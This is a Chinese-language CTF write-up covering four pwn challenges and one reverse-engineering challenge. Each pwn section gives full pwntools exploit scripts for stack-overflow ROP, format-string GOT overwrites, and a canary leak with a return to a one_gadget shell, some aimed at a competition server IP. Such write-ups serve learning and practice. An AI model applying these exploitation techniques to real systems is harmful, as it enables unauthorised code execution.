Pwn

非洲人怎么开容器都连不上所以 wp 都是本地。

看完大佬 wp 了解到远程 docker 会过滤空格,不能使用cat flag,需要改用base64<flag。因此这篇水文没有参考意义,去看大佬的 wp 吧~

膜拜大佬师傅们的WP:

taqini

风沐云烟

Pwn 签到

展开查看详情

考点:栈溢出

gets 函数栈溢出,程序只开启 NX 保护。漏洞函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  gets((__int64)&v4, 0LL);//溢出点
  system("echo hello wrold!");
  return 0;
}

程序有 system 函数,就 gets 将 /bin/sh 写入到 bss 段,然后再调用。

完整 exp

from pwn import *

context.log_level = 'debug'

#p = remote("124.156.121.112",28031)
p = process("./pwn")
elf = ELF("./pwn")

ret = 0x00000000004004ce
pop_rdi = 0x00000000004006d3
pop_rsi_r15 = 0x00000000004006d1
start = 0x400510


payload = 'a'*0x28 + p64(ret)
payload += p64(pop_rdi) + p64(0x601069)
payload += p64(elf.plt['gets'])
payload += p64(pop_rdi) + p64(0x601069) + p64(elf.plt['system'])


p.sendline(payload)
p.recvuntil('hello wrold!')


#gdb.attach(p)
p.sendline('/bin/sh\x00')
p.interactive()
远程环境过滤了空格等,我非洲人就没有看到过远程长什么样!!!

Pwn_MagicString

展开查看详情

考点:栈溢出

emmm这题和签到题怎么这么雷同,一样的思路,一样的方法。

完整 exp

from pwn import *

context.log_level = 'debug'
p = remote("124.156.121.112",28061)
#p = process("./pwn")
elf = ELF("./pwn")

pop_rdi = 0x0000000000400733
ret = 0x00000000004004d1
bss = 0x601060

payload = 'a' *0x2a8# + p64(ret)
payload += p64(pop_rdi) + p64(bss) + p64(elf.plt['gets'])
payload += p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])

p.recvuntil("I want a girlfriend!\n")
p.sendline(payload) 
#p.sendlineafter("I want a girlfriend!\n",payload)
#gdb.attach(p)

p.sendline('/bin/sh\x00')

p.interactive()
远程环境过滤了空格等,我非洲人就没有看到过远程长什么样!!!

Pwn_babyFmtstr

展开查看详情

考点:格式化字符串

格式化字符串长度不大于 0x32 ,漏洞函数如下:

char *sub_400D0A()
{
  char *v0; // ST08_8
  char s; // [rsp+10h] [rbp-40h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sleep(0);
  puts("please input name:");
  myiput((__int64)&s, 0x32uLL);
  v0 = strdup(&s);
  printf("Hello ", 0x32LL, sleep);
  printf(&s);
  return v0;                                    // 返回复制字符串的指针地址
}

程序中没有 system 和 /bin/sh 字符串,也没有后门函数,需要泄露函数地址。调试后得出:第一个可控字符偏移是8,main 返回地址 __libc_start_main 偏移是25

泄露出地址后还需要 rop 回到 main 进行修改地址。因为格式化字符串长度有限制,所以尽量选择差异较小的 got 修改。main 地址是 0x400E93 ,刚好与 plt 表前几位相同,所以找那些程序中未运行过但即将运行的函数修改,比如 free 。

free 未运行过,因此 got.plt 会指向到 plt 表。

[0x602040] [email protected]_2.2.5 -> 0x4009d6 ([email protected]+6)

将函数

所以构造第一条 payload ,将 free got 覆写为 main ,然后泄露出 main 返回地址:

payload = "%3731c%11$hn%25$paaaaaaa" + p64(elf.got['free'])

然后就是对某个函数 got 表覆写然后传 /bin/sh getshell 。我的做法是用第一轮输入覆写 strdup 为 system ,第二轮输入 /bin/sh ,当第二轮输入进行字符串复制 strdup(&s) 时 /bin/sh 被传入 system 。

所以构造第二条 payload :

payload = "%4148765760c%11$nAAAAAAA" + p64(elf.got['strdup'])

exp 完全不值得参考,远程网络环境不好还直接 %n 改数据(该打.png)。逐 bit 改的去看看 taqini 大佬的,或者爆破改 onegadget 的风沐云烟大佬。

Pwn_tang

展开查看详情

考点:canary 绕过、格式化字符串

基本情况

保护措施
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
格式化字符串
unsigned __int64 lookhere()
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts(&s);
  read(0, &buf, 5uLL);
  printf(&buf, &buf);//格式化字符串
  return __readfsqword(0x28u) ^ v2;
}

字符串长度在 5 字节,长度不足够修改,而且 got 表也不可写。

栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+38h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  lookhere();
  puts(&byte_B80);                             
  read(0, &::buf, 0x190uLL);
  lookthere();
  puts(asc_BA8);                               
  return read(0, &buf, 0x60uLL);//栈溢出
}

栈溢出长度仅可以控制 rip 返回地址。

思路

格式化字符串漏洞可以泄露内存信息,字符串长度限制 5 字节,但还是可以泄露出 canary 值,从而绕过 canary 保护。

#leak canary
p.recvuntil('你怎么了?\n')
p.sendline('%9$p')
canary = eval(p.recv(18))
log.success("canart:"+hex(canary))

绕过 canary 之后,就可以利用栈溢出控制程序流程。因为程序没有留后门,溢出空间非常小,就泄露 libc 地址,利用 onegadget getshell 。泄露 libc 地址还是利用格式化字符串漏洞,因此需要 rop 回到 main 。

main 函数是在 __libc_main_start 被调用,所以从返回地址找到 __libc_main_start 调用地址。

──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
   0x555555554ab0                            xor    rbx, qword ptr fs:[0x28]
   0x555555554ab9                            je     0x555555554ac0
    ↓
   0x555555554ac0                            add    rsp, 0x48
   0x555555554ac4                            pop    rbx
   0x555555554ac5                            pop    rbp
 ► 0x555555554ac6                            ret             <0x7ffff7a2d830; __libc_start_main+240>
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> pdisass 0x7ffff7a2d830-0x20
 ► 0x7ffff7a2d810 <__libc_start_main+208>    add    al, 0x25
   0x7ffff7a2d812 <__libc_start_main+210>    add    byte ptr [rbx], al
   0x7ffff7a2d814 <__libc_start_main+212>    add    byte ptr [rax], al
   0x7ffff7a2d816 <__libc_start_main+214>    mov    rax, qword ptr [rip + 0x3a369b]
   0x7ffff7a2d81d <__libc_start_main+221>    mov    rsi, qword ptr [rsp + 8]
   0x7ffff7a2d822 <__libc_start_main+226>    mov    edi, dword ptr [rsp + 0x14]
   0x7ffff7a2d826 <__libc_start_main+230>    mov    rdx, qword ptr [rax]
   0x7ffff7a2d829 <__libc_start_main+233>    mov    rax, qword ptr [rsp + 0x18]
   0x7ffff7a2d82e <__libc_start_main+238>    call   rax

从 0x7ffff7a2d82e 往上找到传参开始地址,将返回地址最后两位覆写为目标地址,即0x7ffff7a2d830-->0x7ffff7a2d816

#ret2main
payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += '\x16'

p.recvuntil('烫')
p.send(payload)

p.recvuntil('火炉远一点!\n')
p.send(payload)

再次进入 main 之后泄露 libc 地址

#leak libc
p.recvuntil('你怎么了?\n')
p.send('%23$p')

__libc_start_main_240 = eval(p.recv(14))
log.success("__libc_start_main_240:"+hex(__libc_start_main_240))

最后重写返回地址为 onegadget

payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += p64(one_gadget)

p.recvuntil('烫')
p.sendline('1')
gdb.attach(p)
p.recvuntil('火炉远一点!\n')
p.send(payload)
完整 exp
#encoding:utf-8
from pwn import *

context.log_level = 'debug'

p = process("./pwn")
#p = remote("124.156.121.112",28081)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

one_gadget = 0xf1147

#leak canary
p.recvuntil('你怎么了?\n')
p.sendline('%9$p')
canary = eval(p.recv(18))
log.success("canart:"+hex(canary))

#ret2main
payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += '\x16'

p.recvuntil('烫')
p.send(payload)

p.recvuntil('火炉远一点!\n')
p.send(payload)


#leak libc
p.recvuntil('你怎么了?\n')
p.send('%23$p')

__libc_start_main_240 = eval(p.recv(14))
log.success("__libc_start_main_240:"+hex(__libc_start_main_240))

libc_base = __libc_start_main_240 - 240 - libc.symbols['__libc_start_main']
log.success("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.success("system:"+hex(system))
one_gadget += libc_base
log.success("one_gadget:"+hex(one_gadget))


payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += p64(one_gadget)

p.recvuntil('烫')
p.sendline('1')
gdb.attach(p)
p.recvuntil('火炉远一点!\n')
p.send(payload)

p.interactive()

RE

逆向_签到

展开查看详情

进来首先是逐个字符(v8)与 v7、v9 运算加密,然后结构与 v6 进行或运算。

do
{
    v8 = sub_400818((__int64)aFlag, 0LL);       // 输入值需要与v7 ^ (v7 + (v7 ^ *(&v9 + (signed int)v7)))相等
    v6 |= v8 ^ v7 ^ (v7 + (v7 ^ *(&v9 + (signed int)v7)));
    v4 = v7++;
}
while ( v8 && v8 != 10 && v8 != -1 );

然后就是判断 v6 值,值为 0 就是正确。

if ( v6 )                                     // 需要v6等于零,就是异或为0,就是v8后面是0
    sub_400828((__int64)aFailed, 0LL, v3, v4);
else
    sub_400828((__int64)aCorrect, 0LL, v3, v4);

反推出 v6 应该每一轮加密都是 0 ,进而推出 v8 = v7 ^ (v7 + (v7 ^ *(&v9 + (signed int)v7))) 。

完整 exp

c = [0x66,0x6d,0x63,0x62,0x7f,0x3a,85,106,57,82,122,55,81,19,51,35,67,70,41,61,41,32,127,28,38,77,49,20,80,94,-24]
for i in range(0,len(c)):
    x = i ^ ((i ^ c[i]) + i)
    print(chr(x),end='')

Last modification:May 8th, 2020 at 03:14 pm